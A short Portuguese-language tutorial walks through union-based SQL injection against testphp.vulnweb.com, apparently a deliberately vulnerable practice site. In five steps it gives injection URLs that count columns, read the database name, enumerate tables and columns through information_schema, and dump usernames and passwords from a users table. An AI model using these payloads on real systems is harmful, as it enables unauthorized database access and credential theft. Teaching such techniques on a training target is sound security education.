Iremos realizar nossas consultas a partir da seguinte url:

http://testphp.vulnweb.com/listproducts.php?cat=1

Passo 01

O nosso objetivo nesse passo é descobrir a quantidade de colunas que a tabela alvo possui. Para descobrir a quantidade basta usar o comando "*union*" do sql e ir testando até retornar algum resultado que não seja uma exceção do banco de dados.

http://testphp.vulnweb.com/listproducts.php?cat=1 union select 1

http://testphp.vulnweb.com/listproducts.php?cat=1 union select 1,2

http://testphp.vulnweb.com/listproducts.php?cat=1 union select 1,2,3 ...

http://testphp.vulnweb.com/listproducts.php?cat=1 union select 1,2,3,4,5,6,7,8,9,10,11

Passo 02

Agora descobrimos que quantidade de colunas que a tabela alvo possui é 11. Descobrir o nome do banco de dados agora é uma tarefa fácil. Basta usar o comando "*database*()" dentro da consulta para descobrirmos o nome do banco de dados.

http://testphp.vulnweb.com/listproducts.php?cat=1 union select 1,2,3,4,5,6,database(),8,9,10,11

Passo 03

Agora já sabemos o nome do banco de dados. Vamos descobrir quais tabelas pertencem a aquele banco específico.

http://testphp.vulnweb.com/listproducts.php?cat=1 union select 1,2,3,4,5,6,table_name,8,9,10,11 from information_schema.tables where table_schema = "acuart"

Passo 04

Agora que sabemos os nomes da tabela vamos descobrir quais colunas pertencem a tabela "*users*".

http://testphp.vulnweb.com/listproducts.php?cat=1 union select 1,2,3,4,5,6,column_name,8,9,10,11 from information_schema.columns where table_schema = "acuart" and table_name = "users"

Passo 05

Agora que já sabemos as colunas pertencente a tabela *"users"* basta buscar o usuário e a senha para logar.

http://testphp.vulnweb.com/listproducts.php?cat=1 union select 1,2,3,4,5,6,concat(uname,"-",pass),8,9,10,11 from users